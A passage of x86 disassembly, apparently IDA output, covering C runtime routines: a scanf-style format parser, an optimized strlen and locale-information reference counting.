loc_4159AE:				; CODE XREF: sub_41554C+239j
					; sub_41554C+24Cj
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		cmp	eax, [ebp+var_28]
		jz	short loc_4159C2


loc_4159B9:				; CODE XREF: sub_41554C+212j
		cmp	[ebp+var_28], 0FFFFFFFFh
		jmp	loc_415F89
; ---------------------------------------------------------------------------


loc_4159C2:				; CODE XREF: sub_41554C+46Bj
		dec	[ebp+var_29]
		cmp	[ebp+var_4B], 0
		jnz	loc_415F2D
		mov	eax, [ebp+var_60]
		mov	[ebp+arg_8], eax
		jmp	loc_415F2D
; ---------------------------------------------------------------------------


loc_4159DA:				; CODE XREF: sub_41554C+460j
		cmp	[ebp+var_4E], 0
		jle	short loc_4159E4
		mov	[ebp+var_4D], 1


loc_4159E4:				; CODE XREF: sub_41554C+492j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		mov	[ebp+var_1CC], edi
		cmp	byte ptr [edi],	5Eh
		jnz	short loc_415A01
		inc	edi
		mov	[ebp+var_1CC], edi
		or	[ebp+var_49], 0FFh


loc_415A01:				; CODE XREF: sub_41554C+4A8j
		mov	ebx, [ebp+var_20]
		test	ebx, ebx
		jnz	short loc_415A59
		and	[ebp+ms_exc.disabled], ebx
		push	20h
		pop	eax
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_415A59
; ---------------------------------------------------------------------------


loc_415A21:				; DATA XREF: .rdata:stru_427878o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_415A25:				; DATA XREF: .rdata:stru_427878o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41AE30
		push	20h
		call	sub_41344D
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	short loc_415A45
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	loc_415FB9
; ---------------------------------------------------------------------------


loc_415A45:				; CODE XREF: sub_41554C+4EEj
		mov	[ebp+var_24], 1
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1CC]
		mov	ebx, [ebp+var_20]


loc_415A59:				; CODE XREF: sub_41554C+4BAj
					; sub_41554C+4D3j
		push	20h
		push	0
		push	ebx
		call	sub_41ADD0
		add	esp, 0Ch
		cmp	[ebp+var_68], 7Bh
		jnz	short loc_415AE0
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_415AE0
		mov	dl, 5Dh
		inc	edi
		mov	byte ptr [ebx+0Bh], 20h
		jmp	short loc_415AE3
; ---------------------------------------------------------------------------


loc_415A7A:				; CODE XREF: sub_41554C+59Bj
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_415ACA
		test	dl, dl
		jz	short loc_415ACA
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_415ACA
		inc	edi
		cmp	dl, cl
		jnb	short loc_415A93
		mov	al, cl
		jmp	short loc_415A97
; ---------------------------------------------------------------------------


loc_415A93:				; CODE XREF: sub_41554C+541j
		mov	al, dl
		mov	dl, cl


loc_415A97:				; CODE XREF: sub_41554C+545j
		cmp	dl, al
		ja	short loc_415AC6
		movzx	esi, dl
		sub	al, dl
		inc	al
		movzx	eax, al
		mov	[ebp+var_1D0], eax


loc_415AAB:				; CODE XREF: sub_41554C+578j
		mov	eax, esi
		shr	eax, 3
		add	eax, ebx
		mov	ecx, esi
		and	ecx, 7
		mov	dl, 1
		shl	dl, cl
		or	[eax], dl
		inc	esi
		dec	[ebp+var_1D0]
		jnz	short loc_415AAB


loc_415AC6:				; CODE XREF: sub_41554C+54Dj
		xor	dl, dl
		jmp	short loc_415AE3
; ---------------------------------------------------------------------------


loc_415ACA:				; CODE XREF: sub_41554C+531j
					; sub_41554C+535j ...
		mov	[ebp+var_39], al
		movzx	ecx, al
		mov	eax, ecx
		shr	eax, 3
		add	eax, ebx
		and	ecx, 7
		mov	dl, 1
		shl	dl, cl
		or	[eax], dl


loc_415AE0:				; CODE XREF: sub_41554C+51Ej
					; sub_41554C+523j
		mov	dl, [ebp+var_39]


loc_415AE3:				; CODE XREF: sub_41554C+52Cj
					; sub_41554C+57Cj
		mov	al, [edi]
		cmp	al, 5Dh
		jnz	short loc_415A7A
		test	al, al
		jz	loc_415FB9
		mov	ebx, [ebp+var_64]
		cmp	[ebp+var_68], 7Bh
		jnz	short loc_415AFD
		mov	[ebp+arg_4], edi


loc_415AFD:				; CODE XREF: sub_41554C+5ACj
		mov	edi, [ebp+var_68]


loc_415B00:				; CODE XREF: sub_41554C+42Dj
					; sub_41554C+437j
		mov	esi, ebx
		dec	[ebp+var_30]
		cmp	[ebp+var_28], 0FFFFFFFFh
		jz	short loc_415B18
		push	[ebp+arg_0]
		push	[ebp+var_28]
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415B18:				; CODE XREF: sub_41554C+5BDj
					; sub_41554C+754j ...
		cmp	[ebp+var_44], 0
		jz	short loc_415B2C
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	loc_415CBE


loc_415B2C:				; CODE XREF: sub_41554C+5D0j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		mov	[ebp+var_28], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_415CAB
		cmp	edi, 63h
		jz	short loc_415B8C
		cmp	edi, 73h
		jnz	short loc_415B5C
		cmp	eax, 9
		jl	short loc_415B57
		cmp	eax, 0Dh
		jle	short loc_415B5C


loc_415B57:				; CODE XREF: sub_41554C+604j
		cmp	eax, 20h
		jnz	short loc_415B8C


loc_415B5C:				; CODE XREF: sub_41554C+5FFj
					; sub_41554C+609j
		cmp	edi, 7Bh
		jnz	loc_415CAB
		mov	ecx, eax
		and	ecx, 7
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		mov	edi, [ebp+var_20]
		movsx	ecx, byte ptr [ecx+edi]
		movsx	edi, [ebp+var_49]
		xor	ecx, edi
		test	edx, ecx
		jz	loc_415CAB
		mov	edi, [ebp+var_68]


loc_415B8C:				; CODE XREF: sub_41554C+5FAj
					; sub_41554C+60Ej
		cmp	[ebp+var_4B], 0
		jnz	loc_415CA5
		cmp	[ebp+var_4D], 0
		jz	loc_415C9A
		mov	[ebp+var_1D4], al
		movzx	eax, al
		mov	ecx, off_42CE30
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_415BC7
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		mov	[ebp+var_1D3], al


loc_415BC7:				; CODE XREF: sub_41554C+668j
		push	dword_42D08C
		lea	eax, [ebp+var_1D4]
		push	eax
		lea	eax, [ebp+var_1D8]
		push	eax
		call	sub_41AD9B
		add	esp, 0Ch
		mov	ax, [ebp+var_1D8]
		mov	[ebx], ax
		inc	ebx
		inc	ebx
		jmp	loc_415C9D
; ---------------------------------------------------------------------------


loc_415BF4:				; CODE XREF: sub_41554C+27Fj
		cmp	ebx, 2Bh
		jnz	short loc_415C17


loc_415BF9:				; CODE XREF: sub_41554C+289j
		dec	[ebp+var_48]
		jnz	short loc_415C08
		test	ecx, ecx
		jz	short loc_415C08
		mov	[ebp+var_4C], 1
		jmp	short loc_415C17
; ---------------------------------------------------------------------------


loc_415C08:				; CODE XREF: sub_41554C+6B0j
					; sub_41554C+6B4j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_415C17:				; CODE XREF: sub_41554C+6ABj
					; sub_41554C+6BAj
		cmp	ebx, 30h
		jnz	loc_415D2C
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	bl, 78h
		jz	short loc_415C74
		cmp	bl, 58h
		jz	short loc_415C74
		mov	[ebp+var_40], 1
		cmp	edi, 78h
		jz	short loc_415C5B
		cmp	[ebp+var_44], 0
		jz	short loc_415C53
		dec	[ebp+var_48]
		jnz	short loc_415C53
		inc	[ebp+var_4C]


loc_415C53:				; CODE XREF: sub_41554C+6FDj
					; sub_41554C+702j
		push	6Fh


loc_415C55:				; CODE XREF: sub_41554C+74Cj
		pop	edi
		jmp	loc_415D2C
; ---------------------------------------------------------------------------


loc_415C5B:				; CODE XREF: sub_41554C+6F7j
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_415C6C
		push	esi
		push	ebx
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415C6C:				; CODE XREF: sub_41554C+715j
		push	30h
		pop	ebx
		jmp	loc_415D29
; ---------------------------------------------------------------------------


loc_415C74:				; CODE XREF: sub_41554C+6E6j
					; sub_41554C+6EBj
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	[ebp+var_44], 0
		jz	short loc_415C96
		sub	[ebp+var_48], 2
		cmp	[ebp+var_48], 1
		jge	short loc_415C96
		inc	[ebp+var_4C]


loc_415C96:				; CODE XREF: sub_41554C+73Bj
					; sub_41554C+745j
		push	78h
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C9A:				; CODE XREF: sub_41554C+64Ej
		mov	[ebx], al
		inc	ebx


loc_415C9D:				; CODE XREF: sub_41554C+6A3j
		mov	[ebp+var_64], ebx
		jmp	loc_415B18
; ---------------------------------------------------------------------------


loc_415CA5:				; CODE XREF: sub_41554C+644j
		inc	esi
		jmp	loc_415B18
; ---------------------------------------------------------------------------


loc_415CAB:				; CODE XREF: sub_41554C+5F1j
					; sub_41554C+613j ...
		dec	[ebp+var_30]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415CBE
		push	[ebp+arg_0]
		push	eax
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415CBE:				; CODE XREF: sub_41554C+5DAj
					; sub_41554C+765j
		cmp	esi, ebx
		jz	loc_415FB9
		cmp	[ebp+var_4B], 0
		jnz	loc_415F2D
		inc	[ebp+var_34]
		cmp	[ebp+var_68], 63h
		jz	loc_415F2D
		mov	eax, [ebp+var_64]
		cmp	[ebp+var_4D], 0
		jz	short loc_415CEF
		and	word ptr [eax],	0
		jmp	loc_415F2D
; ---------------------------------------------------------------------------


loc_415CEF:				; CODE XREF: sub_41554C+798j
		and	byte ptr [eax],	0
		jmp	loc_415F2D
; ---------------------------------------------------------------------------


loc_415CF7:				; CODE XREF: sub_41554C+441j
		mov	[ebp+var_4F], 1


loc_415CFB:				; CODE XREF: sub_41554C+221j
					; sub_41554C+233j ...
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	short loc_415D09
		mov	[ebp+var_4A], 1
		jmp	short loc_415D0E
; ---------------------------------------------------------------------------


loc_415D09:				; CODE XREF: sub_41554C+7B5j
		cmp	ebx, 2Bh
		jnz	short loc_415D2C


loc_415D0E:				; CODE XREF: sub_41554C+7BBj
		dec	[ebp+var_48]
		jnz	short loc_415D1D
		test	ecx, ecx
		jz	short loc_415D1D
		mov	[ebp+var_4C], 1
		jmp	short loc_415D2C
; ---------------------------------------------------------------------------


loc_415D1D:				; CODE XREF: sub_41554C+7C5j
					; sub_41554C+7C9j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax


loc_415D29:				; CODE XREF: sub_41554C+723j
		mov	[ebp+var_28], ebx


loc_415D2C:				; CODE XREF: sub_41554C+6CEj
					; sub_41554C+70Aj ...
		cmp	[ebp+var_54], 0
		jz	loc_415E31
		cmp	[ebp+var_4C], 0
		jnz	loc_415E0F


loc_415D40:				; CODE XREF: sub_41554C+8BAj
		cmp	edi, 78h
		jz	short loc_415D8B
		cmp	edi, 70h
		jz	short loc_415D8B
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jz	short loc_415DBC
		cmp	edi, 6Fh
		jnz	short loc_415D74
		cmp	ebx, 38h
		jge	short loc_415DBC
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_58]
		shld	ecx, eax, 3
		shl	eax, 3
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		jmp	short loc_415DBF
; ---------------------------------------------------------------------------


loc_415D74:				; CODE XREF: sub_41554C+80Cj
		push	0
		push	0Ah
		push	[ebp+var_58]
		push	[ebp+var_5C]
		call	sub_4162D0
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], edx
		jmp	short loc_415DBF
; ---------------------------------------------------------------------------


loc_415D8B:				; CODE XREF: sub_41554C+7F7j
					; sub_41554C+7FCj
		push	ebx
		call	sub_41ABF6
		pop	ecx
		test	eax, eax
		jz	short loc_415DBC
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_58]
		shld	ecx, eax, 4
		shl	eax, 4
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jnz	short loc_415DBF
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7
		jmp	short loc_415DBF
; ---------------------------------------------------------------------------


loc_415DBC:				; CODE XREF: sub_41554C+807j
					; sub_41554C+811j ...
		inc	[ebp+var_4C]


loc_415DBF:				; CODE XREF: sub_41554C+826j
					; sub_41554C+83Dj ...
		cmp	[ebp+var_4C], 0
		jnz	short loc_415DF1
		inc	[ebp+var_40]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_5C], eax
		adc	[ebp+var_58], edx
		cmp	[ebp+var_44], 0
		jz	short loc_415DE3
		dec	[ebp+var_48]
		jnz	short loc_415DE3
		mov	[ebp+var_4C], 1
		jmp	short loc_415E02
; ---------------------------------------------------------------------------


loc_415DE3:				; CODE XREF: sub_41554C+88Aj
					; sub_41554C+88Fj
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax
		jmp	short loc_415E02
; ---------------------------------------------------------------------------


loc_415DF1:				; CODE XREF: sub_41554C+877j
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_415E02
		push	esi
		push	ebx
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415E02:				; CODE XREF: sub_41554C+895j
					; sub_41554C+8A3j ...
		cmp	[ebp+var_4C], 0
		jz	loc_415D40
		mov	[ebp+var_28], ebx


loc_415E0F:				; CODE XREF: sub_41554C+7EEj
		cmp	[ebp+var_4A], 0
		jz	loc_415EEB
		mov	eax, [ebp+var_5C]
		neg	eax
		mov	ecx, [ebp+var_58]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		jmp	loc_415EEB
; ---------------------------------------------------------------------------


loc_415E31:				; CODE XREF: sub_41554C+7E4j
		cmp	[ebp+var_4C], 0
		jnz	loc_415EE2


loc_415E3B:				; CODE XREF: sub_41554C+98Dj
		cmp	edi, 78h
		jz	short loc_415E6D
		cmp	edi, 70h
		jz	short loc_415E6D
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jz	short loc_415E8F
		cmp	edi, 6Fh
		jnz	short loc_415E60
		cmp	ebx, 38h
		jge	short loc_415E8F
		shl	[ebp+var_38], 3
		jmp	short loc_415E92
; ---------------------------------------------------------------------------


loc_415E60:				; CODE XREF: sub_41554C+907j
		mov	eax, [ebp+var_38]
		lea	eax, [eax+eax*4]
		shl	eax, 1
		mov	[ebp+var_38], eax
		jmp	short loc_415E92
; ---------------------------------------------------------------------------


loc_415E6D:				; CODE XREF: sub_41554C+8F2j
					; sub_41554C+8F7j
		push	ebx
		call	sub_41ABF6
		pop	ecx
		test	eax, eax
		jz	short loc_415E8F
		shl	[ebp+var_38], 4
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jnz	short loc_415E92
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7
		jmp	short loc_415E92
; ---------------------------------------------------------------------------


loc_415E8F:				; CODE XREF: sub_41554C+902j
					; sub_41554C+90Cj ...
		inc	[ebp+var_4C]


loc_415E92:				; CODE XREF: sub_41554C+912j
					; sub_41554C+91Fj ...
		cmp	[ebp+var_4C], 0
		jnz	short loc_415EC4
		inc	[ebp+var_40]
		mov	eax, [ebp+var_38]
		lea	eax, [eax+ebx-30h]
		mov	[ebp+var_38], eax
		cmp	[ebp+var_44], 0
		jz	short loc_415EB6
		dec	[ebp+var_48]
		jnz	short loc_415EB6
		mov	[ebp+var_4C], 1
		jmp	short loc_415ED5
; ---------------------------------------------------------------------------


loc_415EB6:				; CODE XREF: sub_41554C+95Dj
					; sub_41554C+962j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax
		jmp	short loc_415ED5
; ---------------------------------------------------------------------------


loc_415EC4:				; CODE XREF: sub_41554C+94Aj
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_415ED5
		push	esi
		push	ebx
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415ED5:				; CODE XREF: sub_41554C+968j
					; sub_41554C+976j ...
		cmp	[ebp+var_4C], 0
		jz	loc_415E3B
		mov	[ebp+var_28], ebx


loc_415EE2:				; CODE XREF: sub_41554C+8E9j
		cmp	[ebp+var_4A], 0
		jz	short loc_415EEB
		neg	[ebp+var_38]


loc_415EEB:				; CODE XREF: sub_41554C+8C7j
					; sub_41554C+8E0j ...
		cmp	edi, 46h
		jnz	short loc_415EF4
		and	[ebp+var_40], 0


loc_415EF4:				; CODE XREF: sub_41554C+9A2j
		cmp	[ebp+var_40], 0
		jz	loc_415FB9
		cmp	[ebp+var_4B], 0
		jnz	short loc_415F2D
		inc	[ebp+var_34]
		mov	ebx, [ebp+var_64]
		mov	eax, [ebp+var_38]


loc_415F0D:				; CODE XREF: sub_41554C+259j
		cmp	[ebp+var_54], 0
		jz	short loc_415F20
		mov	eax, [ebp+var_5C]
		mov	[ebx], eax
		mov	eax, [ebp+var_58]
		mov	[ebx+4], eax
		jmp	short loc_415F2D
; ---------------------------------------------------------------------------


loc_415F20:				; CODE XREF: sub_41554C+9C5j
		cmp	[ebp+var_4F], 0
		jz	short loc_415F2A
		mov	[ebx], eax
		jmp	short loc_415F2D
; ---------------------------------------------------------------------------


loc_415F2A:				; CODE XREF: sub_41554C+9D8j
		mov	[ebx], ax


loc_415F2D:				; CODE XREF: sub_41554C+25Fj
					; sub_41554C+3F1j ...
		inc	[ebp+var_29]
		inc	[ebp+arg_4]
		jmp	short loc_415F9D
; ---------------------------------------------------------------------------


loc_415F35:				; CODE XREF: sub_41554C+90j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		movzx	eax, byte ptr [esi]
		inc	esi
		mov	[ebp+arg_4], esi
		cmp	eax, ebx
		jnz	short loc_415F86
		movzx	eax, bl
		mov	ecx, off_42CE30
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_415F9D
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		movzx	ecx, byte ptr [esi]
		inc	esi
		mov	[ebp+arg_4], esi
		cmp	ecx, eax
		jz	short loc_415F9A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415F86
		push	[ebp+arg_0]
		push	eax
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415F86:				; CODE XREF: sub_41554C+A02j
					; sub_41554C+A2Dj
		cmp	ebx, 0FFFFFFFFh


loc_415F89:				; CODE XREF: sub_41554C+471j
		jz	short loc_415FB9
		push	[ebp+arg_0]
		push	[ebp+var_28]
		call	sub_41AC6F
		pop	ecx
		pop	ecx
		jmp	short loc_415FB9
; ---------------------------------------------------------------------------


loc_415F9A:				; CODE XREF: sub_41554C+A28j
		dec	[ebp+var_30]


loc_415F9D:				; CODE XREF: sub_41554C+9E7j
					; sub_41554C+A12j
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	loc_41557A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	25h
		jnz	short loc_415FB9
		cmp	byte ptr [eax+1], 6Eh
		jz	loc_41557A


loc_415FB9:				; CODE XREF: sub_41554C+35j
					; sub_41554C+3E7j ...
		cmp	[ebp+var_24], 1
		jnz	short loc_415FC8
		push	[ebp+var_20]
		call	sub_412FE4
		pop	ecx


loc_415FC8:				; CODE XREF: sub_41554C+A71j
		mov	eax, [ebp+var_34]
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_415FDD
		test	eax, eax
		jnz	short loc_415FDD
		cmp	[ebp+var_29], al
		jnz	short loc_415FDD
		or	eax, 0FFFFFFFFh


loc_415FDD:				; CODE XREF: sub_41554C+A83j
					; sub_41554C+A87j ...
		lea	esp, [ebp-1E4h]
		mov	ecx, [ebp+var_1C]
		xor	ecx, [ebp+4]
		call	sub_4182D6
		call	__SEH_epilog
		retn
sub_41554C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416000	proc near		; CODE XREF: sub_412D93+17p
					; sub_414004+D2p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_416030


loc_41600C:				; CODE XREF: sub_416000+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_416063
		test	ecx, 3
		jnz	short loc_41600C
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]


loc_416030:				; CODE XREF: sub_416000+Aj
					; sub_416000+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_416030
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_416081
		test	ah, ah
		jz	short loc_416077
		test	eax, 0FF0000h
		jz	short loc_41606D
		test	eax, 0FF000000h
		jz	short loc_416063
		jmp	short loc_416030
; ---------------------------------------------------------------------------


loc_416063:				; CODE XREF: sub_416000+13j
					; sub_416000+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41606D:				; CODE XREF: sub_416000+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_416077:				; CODE XREF: sub_416000+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_416081:				; CODE XREF: sub_416000+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_416000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41608B	proc near		; CODE XREF: sub_412EBA+2Ap
					; sub_41364A+37p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		mov	ecx, [ebp+arg_0]
		ja	short loc_4160A9
		mov	ecx, [ecx+48h]
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4160FD
; ---------------------------------------------------------------------------


loc_4160A9:				; CODE XREF: sub_41608B+13j
		push	esi
		mov	edx, eax
		sar	edx, 8
		push	edi
		mov	edi, [ecx+48h]
		movzx	esi, dl
		test	byte ptr [edi+esi*2+1],	80h
		pop	edi
		pop	esi
		jz	short loc_4160CE
		and	[ebp+var_2], 0
		push	2
		mov	[ebp+var_3], al
		mov	[ebp+var_4], dl
		pop	eax
		jmp	short loc_4160D8
; ---------------------------------------------------------------------------


loc_4160CE:				; CODE XREF: sub_41608B+32j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		xor	eax, eax
		inc	eax


loc_4160D8:				; CODE XREF: sub_41608B+41j
		push	1
		push	dword ptr [ecx+14h]
		push	dword ptr [ecx+4]
		lea	ecx, [ebp+arg_4+2]
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41AF01
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4160F9
		leave
		retn
; ---------------------------------------------------------------------------


loc_4160F9:				; CODE XREF: sub_41608B+6Aj
		movzx	eax, word ptr [ebp+arg_4+2]


loc_4160FD:				; CODE XREF: sub_41608B+1Cj
		and	eax, [ebp+arg_8]
		leave
		retn
sub_41608B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416102	proc near		; CODE XREF: sub_4161CC+B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+3Ch]
		push	edi
		xor	edi, edi
		cmp	eax, dword_47A148
		jz	short loc_416178
		cmp	eax, edi
		jz	short loc_416178
		mov	eax, [esi+2Ch]
		cmp	[eax], edi
		jnz	short loc_416178
		mov	eax, [esi+34h]
		cmp	eax, edi
		jz	short loc_416143
		cmp	[eax], edi
		jnz	short loc_416143
		cmp	eax, dword_47A2C0
		jz	short loc_416143
		push	eax
		call	sub_412FE4
		push	dword ptr [esi+3Ch]
		call	sub_41B2AA
		pop	ecx
		pop	ecx


loc_416143:				; CODE XREF: sub_416102+23j
					; sub_416102+27j ...
		mov	eax, [esi+30h]
		cmp	eax, edi
		jz	short loc_416166
		cmp	[eax], edi
		jnz	short loc_416166
		cmp	eax, dword_47A2C4
		jz	short loc_416166
		push	eax
		call	sub_412FE4
		push	dword ptr [esi+3Ch]
		call	sub_41B24B
		pop	ecx
		pop	ecx


loc_416166:				; CODE XREF: sub_416102+46j
					; sub_416102+4Aj ...
		push	dword ptr [esi+2Ch]
		call	sub_412FE4
		push	dword ptr [esi+3Ch]
		call	sub_412FE4
		pop	ecx
		pop	ecx


loc_416178:				; CODE XREF: sub_416102+11j
					; sub_416102+15j ...
		mov	eax, [esi+40h]
		cmp	eax, dword_47A2BC
		jz	short loc_41619B
		cmp	eax, edi
		jz	short loc_41619B
		cmp	[eax], edi
		jnz	short loc_41619B
		push	eax
		call	sub_412FE4
		push	dword ptr [esi+44h]
		call	sub_412FE4
		pop	ecx
		pop	ecx


loc_41619B:				; CODE XREF: sub_416102+7Fj
					; sub_416102+83j ...
		mov	eax, [esi+50h]
		cmp	eax, dword_47A144
		jz	short loc_4161C2
		cmp	eax, edi
		jz	short loc_4161C2
		cmp	[eax+0B4h], edi
		jnz	short loc_4161C2
		push	eax
		call	sub_41B0BB
		push	dword ptr [esi+50h]
		call	sub_412FE4
		pop	ecx
		pop	ecx


loc_4161C2:				; CODE XREF: sub_416102+A2j
					; sub_416102+A6j ...
		push	esi
		call	sub_412FE4
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_416102	endp


; =============== S U B	R O U T	I N E =======================================



sub_4161CC	proc near		; CODE XREF: sub_41628E+18p
		push	esi
		call	sub_415456
		mov	esi, eax
		mov	eax, [esi+64h]
		cmp	eax, off_42C7BC
		jz	loc_416289
		test	eax, eax
		jz	short loc_416216
		mov	ecx, [eax+2Ch]
		dec	dword ptr [eax]
		test	ecx, ecx
		jz	short loc_4161F2
		dec	dword ptr [ecx]


loc_4161F2:				; CODE XREF: sub_4161CC+22j
		mov	ecx, [eax+34h]
		test	ecx, ecx
		jz	short loc_4161FB
		dec	dword ptr [ecx]


loc_4161FB:				; CODE XREF: sub_4161CC+2Bj
		mov	ecx, [eax+30h]
		test	ecx, ecx
		jz	short loc_416204
		dec	dword ptr [ecx]


loc_416204:				; CODE XREF: sub_4161CC+34j
		mov	ecx, [eax+40h]
		test	ecx, ecx
		jz	short loc_41620D
		dec	dword ptr [ecx]


loc_41620D:				; CODE XREF: sub_4161CC+3Dj
		mov	ecx, [eax+4Ch]
		dec	dword ptr [ecx+0B4h]


loc_416216:				; CODE XREF: sub_4161CC+19j
		mov	ecx, off_42C7BC
		mov	[esi+64h], ecx
		mov	ecx, off_42C7BC
		inc	dword ptr [ecx]
		mov	ecx, off_42C7BC
		mov	ecx, [ecx+2Ch]
		test	ecx, ecx
		jz	short loc_416236
		inc	dword ptr [ecx]


loc_416236:				; CODE XREF: sub_4161CC+66j
		mov	ecx, off_42C7BC
		mov	ecx, [ecx+34h]
		test	ecx, ecx
		jz	short loc_416245
		inc	dword ptr [ecx]


loc_416245:				; CODE XREF: sub_4161CC+75j
		mov	ecx, off_42C7BC
		mov	ecx, [ecx+30h]
		test	ecx, ecx
		jz	short loc_416254
		inc	dword ptr [ecx]


loc_416254:				; CODE XREF: sub_4161CC+84j
		mov	ecx, off_42C7BC
		mov	ecx, [ecx+40h]
		test	ecx, ecx
		jz	short loc_416263
		inc	dword ptr [ecx]


loc_416263:				; CODE XREF: sub_4161CC+93j
		mov	ecx, off_42C7BC
		mov	ecx, [ecx+4Ch]
		inc	dword ptr [ecx+0B4h]
		test	eax, eax
		jz	short loc_416289
		cmp	dword ptr [eax], 0
		jnz	short loc_416289
		cmp	eax, offset dword_42C768
		jz	short loc_416289
		push	eax
		call	sub_416102
		pop	ecx


loc_416289:				; CODE XREF: sub_4161CC+11j
					; sub_4161CC+A8j ...
		mov	eax, [esi+64h]
		pop	esi
		retn
sub_4161CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41628E	proc near		; CODE XREF: sub_412EBA+12p
					; sub_41364A+17p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_427A08
		call	__SEH_prolog
		push	0Ch
